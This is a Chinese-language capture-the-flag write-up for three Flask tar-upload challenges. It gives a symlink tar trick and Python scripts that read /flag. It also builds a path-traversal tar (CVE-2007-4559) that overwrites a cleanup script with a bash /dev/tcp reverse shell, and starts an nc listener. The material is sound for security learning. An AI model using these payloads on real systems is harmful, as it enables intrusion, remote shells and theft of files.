[NSSRound#6 Team]check(V1)
考察:利用软链接上传文件实现任意文件读取
打开题目,将代码格式化一下(右键点击查看源代码)
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
print(file.filename)
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('/tmp/clean.sh')
return 'success'
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
能够进行文件的上传与下载,同时限制了文件只能是tar文件,并对文件名进行了过滤,禁止了..和/符号
主要的解题思路在于
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
#这段代码存在文件路径注入漏洞
#文件路径注入:如果file_save_path变量的值是通过用户输入或其他不可信的来源获取的,存在路径注入的风险。攻击者可以通过构造恶意的路径来访问系统中的其他文件或目录。
可以通过上传一个tar文件,文件里面的内容软连接指向/flag,tar被解压后里面的文件指向了flag的内容,然后通过download函数将文件下载出来即可得到flag
题解
在linux下运行
ln -s /flag flag
tar -cvf flag.tar flag
通过以下脚本上传,并且download flag并打印,保存成一个.py文件,用python运行即可
import requests as req
url = "http://node5.anna.nssctf.cn:29611/"
filename = r"flag.tar" //这里的文件名是绝对路径
def upload(url ,fileName):
url = url + "upload"
file = {"file":open(fileName,'rb')}
response = req.post(url=url, files = file)
print(response.text)
def download(url):
url = url+"download"
file = {"filename":"flag"}
response = req.post(url, data=file)
print(response.text)
if __name__ == "__main__":
upload(url,filename)
download(url)
[NSSRound#6 Team]check(V2)
考察:利用软链接上传文件实现任意文件读取
打开题目,发现源码,有点类似上一道题,看看能不能解决
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
print(file.filename)
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('su ctf -c /tmp/clean.sh')
return 'success'
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
直接给出payload
import requests as req
url = "http://node5.anna.nssctf.cn:22445/"
filename = r"flag.tar"
def upload(url ,fileName):
url = url + "upload"
file = {"file":open(fileName,'rb')}
response = req.post(url=url, files = file)
print(response.text)
def download(url):
url = url+"download"
file = {"filename":"flag"}
response = req.post(url, data=file)
print(response.text)
if __name__ == "__main__":
upload(url,filename)
download(url)
得到flag
[NSSRound#6 Team]check(Revenge)
考察:tarfile漏洞,flask debug模式算pin码
打开题目,得到源码
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
if os.path.islink(filepath):
return '?'
if oct(os.stat(filepath).st_mode)[-3:] != '444':
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('su ctf -c /tmp/clean.sh')
return 'success'
# print(os.environ)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
思路分析
本题的知识点:1、tarfile文件覆盖漏洞(CVE-2007-4559)
2、开启了flask的debug模式(如上源码中的debug=True),于是可以在 /console 中进入控制台,但前提是需要有pin码
3、flask debug模式算pin码
具体思路:利用tarfile任意文件覆盖漏洞,覆盖/tmp/clean.sh,再触发clean路由反弹shell,但是反弹的shell是ctf用户,没有权限读取根目录下的flag文件,flask是root用户运行,因此可以进入flask的 /console 控制台读取文件,前提是算出pin码,所以需要用反弹的ctf用户的shell找到对应信息算出pin码,登录/console后最终拿到flag.
解题(在linux中运行)
首先我们需要创建覆盖clean.sh的exp文件,文件名为exp.sh,内容如下:
bash -c "bash -i >& /dev/tcp/ip/port 0>&1" ## 不加 bash -c 无法运行
bash -c "bash -i >& /dev/tcp/node5.anna.nssctf.cn/1234 0>&1"
#ip地址为被监听机
#port为监听端口
并且给这个文件加上可执行权限:chmod +x exp.sh
接下去我们利用tarfile模块创建一个恶意的tar文件:把下面内容保存在.py文件中,接着运行
import tarfile
def changeName(tf):
tf.name = '../../../../../tmp/clean.sh'
return tf
with tarfile.open('exp.tar', 'w') as tf:
# 将exp.sh重命名为'../../../../../tmp/clean.sh',并放入exp.tar文件夹中进行压缩
tf.add('exp.sh', filter=changeName) # exp.sh就是反弹文件
文件创建好后进行上传,并触发clean路由,脚本如下
import requests
url = 'http://node5.anna.nssctf.cn:21964/'
file = {
'file': open(file='exp.tar', mode='rb')
}
resp = requests.post(url=url+'upload', files=file)
print(resp.text)
res = requests.post(url=url+'clean')
print(resp.text)
在linux中执行以上脚本,并在公网ip机中开启监听:nc -lvnp 1234
获得shell:但仍然拿不到flag
下面的操作我就给出文章了
【WP】NSSCTF Round#6 web3-check(Revenge)复现_wpnss-CSDN博客